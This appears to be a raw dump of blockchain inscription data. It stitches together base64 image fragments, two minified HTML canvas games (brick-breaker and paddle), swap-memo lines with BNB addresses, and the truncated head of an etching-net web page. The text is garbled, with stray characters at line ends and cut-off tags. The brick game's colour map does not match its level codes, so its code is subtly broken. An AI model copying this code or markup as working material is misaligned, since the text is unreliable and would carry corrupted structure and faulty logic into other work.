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" class="backgroM
und"><div class="game"><canvas width="400" height="500" id="gamecanvas"></canvas></div></div></body><script>const canvas=document.getElementById("gamecanvas");const context=canvas.getContext("2d");const level1=[[],[],[],[],[],[],["R","R","R","R","R","R","R","R","R","R","R","R","R","R"],["R","R","R","R","R","R","R","R","R","R","R","R","R","R"],["O","O","O","O","O","O","O","O","O","O","O","O","O","O"],["O","O","O","O","O","O","O","O","O","O","O","O","O","O"],["G","G","G","G","G","G","G","G","G","G","G","G","G","G"],[M
"G","G","G","G","G","G","G","G","G","G","G","G","G","G"],["Y","Y","Y","Y","Y","Y","Y","Y","Y","Y","Y","Y","Y","Y"],["Y","Y","Y","Y","Y","Y","Y","Y","Y","Y","Y","Y","Y","Y"]];const colorMap={l:"red",i:"orange",t:"green",o:"yellow"};const brickGap=2;const brickWidth=25;const brickHeight=12;const wallSize=12;const bricks=[];for(let a=0;a<level1.length;a++){for(let l=0;l<level1[a].length;l++){const colorCode=level1[a][l];bricks.push({x:wallSize+(brickWidth+brickGap)*l,y:wallSize+(brickHeight+brickGap)*a,color:colorMap[M
colorCode],width:brickWidth,height:brickHeight})}}const paddle={x:canvas.width/2-brickWidth/2,y:440,width:brickWidth,height:brickHeight,dx:0};const ball={x:130,y:260,width:5,height:5,speed:2,dx:0,dy:0};function collides(l,a){return l.x<a.x+a.width&&l.x+l.width>a.x&&l.y<a.y+a.height&&l.y+l.height>a.y}function loop(){requestAnimationFrame(loop);context.clearRect(0,0,canvas.width,canvas.height);paddle.x+=paddle.dx;if(paddle.x<wallSize){paddle.x=wallSize}else if(paddle.x+brickWidth>canvas.width-wallSize){paddle.x=canvaM
s.width-wallSize-brickWidth}ball.x+=ball.dx;ball.y+=ball.dy;if(ball.x<wallSize){ball.x=wallSize;ball.dx*=-1}else if(ball.x+ball.width>canvas.width-wallSize){ball.x=canvas.width-wallSize-ball.width;ball.dx*=-1}if(ball.y<wallSize){ball.y=wallSize;ball.dy*=-1}if(ball.y>canvas.height){ball.x=130;ball.y=260;ball.dx=0;ball.dy=0}if(collides(ball,paddle)){ball.dy*=-1;ball.y=paddle.y-ball.height}for(let l=0;l<bricks.length;l++){const a=bricks[l];if(collides(ball,a)){bricks.splice(l,1);if(ball.y+ball.height-ball.speed<=a.y||M
ball.y>=a.y+a.height-ball.speed){ball.dy*=-1}else{ball.dx*=-1}break}}context.fillStyle="lightgrey";context.fillRect(0,0,canvas.width,wallSize);context.fillRect(0,0,wallSize,canvas.height);context.fillRect(canvas.width-wallSize,0,wallSize,canvas.height);if(ball.dx||ball.dy){context.fillRect(ball.x,ball.y,ball.width,ball.height)}bricks.forEach(function(l){context.fillStyle=l.color;context.fillRect(l.x,l.y,l.width,l.height)});context.fillStyle="cyan";context.fillRect(paddle.x,paddle.y,paddle.width,paddle.height)}documMG
ent.addEventListener("keydown",function(l){if(l.which===37){paddle.dx=-3}else if(l.which===39){paddle.dx=3}if(ball.dx===0&&ball.dy===0&&l.which===32){ball.dx=ball.speed;ball.dy=ball.speed}});document.addEventListener("keyup",function(l){if(l.which===37||l.which===39){paddle.dx=0}});requestAnimationFrame(loop);</script></html>h!
text/html;charset=utf-8
<html lang="en"><head><meta charset="UTF-8"><meta http-equiv="X-UA-Compatible" content="IE=edge"><meta name="viewport" content=""><title>Bitcoin Bandits machine</title><style>html{height:100%;background:#3b474e}body{height:100%;width:100%;margin:0;display:flex;flex-direction:column;align-items:center}.container{height:100%;position:relative}.background{height:100%}.game{height:20.3vh;width:20.3vh;border:#3b474e;border-width:1px;margin-left:auto;margin-right:auto;left:0;right:0;margin-top:22.7vh;top:0;position:absolM
ute}#gamecanvas{height:100%;width:100%}</style></head><body><div class="container"><img src="data:image/png;base64, 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" class="background"><div class="game"><canvas width="750" height="585" id="gamecanvas"></canvas></div></div></body><script>const canvas=document.getElementById("gamecanvas");const context=canvas.getContext("2d");const grid=15;const paddleHeight=grid*5;const maxPaddleY=canvas.height-grid-paddleHeight;var paddleSpeed=6;var ballSpeed=5;const leftPaddle={x:grid*2,y:canvas.height/2-paddleHeight/2,width:grid,hM
eight:paddleHeight,dy:0};const rightPaddle={x:canvas.width-grid*3,y:canvas.height/2-paddleHeight/2,width:grid,height:paddleHeight,dy:0};const ball={x:canvas.width/2,y:canvas.height/2,width:grid,height:grid,l:false,dx:ballSpeed,dy:-ballSpeed};function collides(l,d){return l.x<d.x+d.width&&l.x+l.width>d.x&&l.y<d.y+d.height&&l.y+l.height>d.y}function loop(){requestAnimationFrame(loop);context.clearRect(0,0,canvas.width,canvas.height);leftPaddle.y+=leftPaddle.dy;rightPaddle.y+=rightPaddle.dy;if(leftPaddle.y<grid){leftPM
addle.y=grid}else if(leftPaddle.y>maxPaddleY){leftPaddle.y=maxPaddleY}if(rightPaddle.y<grid){rightPaddle.y=grid}else if(rightPaddle.y>maxPaddleY){rightPaddle.y=maxPaddleY}context.fillStyle="white";context.fillRect(leftPaddle.x,leftPaddle.y,leftPaddle.width,leftPaddle.height);context.fillRect(rightPaddle.x,rightPaddle.y,rightPaddle.width,rightPaddle.height);ball.x+=ball.dx;ball.y+=ball.dy;if(ball.y<grid){ball.y=grid;ball.dy*=-1}else if(ball.y+grid>canvas.height-grid){ball.y=canvas.height-grid*2;ball.dy*=-1}if((ball.M
x<0||ball.x>canvas.width)&&!ball.l){ball.l=true;setTimeout(()=>{ball.l=false;ball.x=canvas.width/2;ball.y=canvas.height/2},400)}if(collides(ball,leftPaddle)){ball.dx*=-1;ball.x=leftPaddle.x+leftPaddle.width}else if(collides(ball,rightPaddle)){ball.dx*=-1;ball.x=rightPaddle.x-ball.width}context.fillRect(ball.x,ball.y,ball.width,ball.height);context.fillStyle="lightgrey";context.fillRect(0,0,canvas.width,grid);context.fillRect(0,canvas.height-grid,canvas.width,canvas.height);for(let l=grid;l<canvas.height-grid;l+=griM
d*2){context.fillRect(canvas.width/2-grid/2,l,grid,grid)}}document.addEventListener("keydown",function(l){if(l.which===38){rightPaddle.dy=-paddleSpeed}else if(l.which===40){rightPaddle.dy=paddleSpeed}if(l.which===87){leftPaddle.dy=-paddleSpeed}else if(l.which===83){leftPaddle.dy=paddleSpeed}});document.addEventListener("keyup",function(l){if(l.which===38||l.which===40){rightPaddle.dy=0}if(l.which===83||l.which===87){leftPaddle.dy=0}});requestAnimationFrame(loop);</script></html>h!
Bj@=:BNB.BNB:bnb1tp246l9j2t8dlwajxm9mlaj3aewy7j688zxd9k:66558296::0
DjB=:BNB.BNB:bnb1udyqg067wr27pdnteparr3cvy365hmc6aa6z5k:12985011:te:0
DjB=:BNB.BNB:bnb105lxp5cyawqvvgq4h8ftmtfhye36dux7ee932a:29088934:te:0
((((((((((((((((((((((((((((((((((((((((((((((((((
text/html;charset=utf-8
<html lang="en-US"><head>
<meta http-equiv="content-type" content="text/html; charset=UTF-8">
    <meta charset="UTF-8">
    <meta http-equiv="X-UA-Compatible" content="IE=edge">
    <meta name="viewport" content="width=device-width, initial-scale=1">
<!-- Begin Jekyll SEO tag v2.8.0 -->
<title>etching.net | etching-net.github.io</title>
<meta name="generator" content="Jekyll v3.9.3">
<meta property="og:title" content="etching.net">
<meta property="og:locale" content="en_US">
="description" content="Volunteer-curated list of Bitcoin digital artifacts that exemplify longstanding cultural value. Anyone can contribute a record of historical significance!">
<meta property="og:description" content="Volunteer-curated list of Bitcoin digital artifacts that exemplify longstanding cultural value. Anyone can contribute a record of historical significance!">
<link rel="canonical" href="https://etching-net.github.io/">
<meta property="og:url" content="https://etching-net.github.io/">
erty="og:site_name" content="etching-net.github.io">
<meta property="og:type" content="website">
<meta name="twitter:card" content="summary">
<meta property="twitter:title" content="etching.net">
<script type="application/ld+json">
